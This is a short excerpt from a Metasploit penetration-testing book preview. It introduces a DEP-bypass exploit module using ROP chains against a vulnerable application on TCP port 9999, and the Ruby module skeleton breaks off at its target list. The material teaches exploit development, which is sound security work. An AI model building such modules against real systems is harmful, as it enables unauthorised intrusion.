Writing the Metasploit exploit module for DEP bypass

In this section, we will write the DEP bypass exploit for the same vulnerable application in which we exploited the stack overflow vulnerability, and the exploit failed when DEP was enabled. The application runs on TCP port 9999. So, let's quickly build a module and try bypassing DEP on the same application:

class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DEP Bypass Exploit', 'Description' => %q{ DEP Bypass Using ROP Chains Example Module }, 'Platform' => 'win', 'Author' => [ 'Nipun Jaswal' ], 'Payload' => { 'space' => 312, 'BadChars' => "\x00", }, 'Targets' => [ ['Windows 7 ...

Get Mastering Metasploit - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.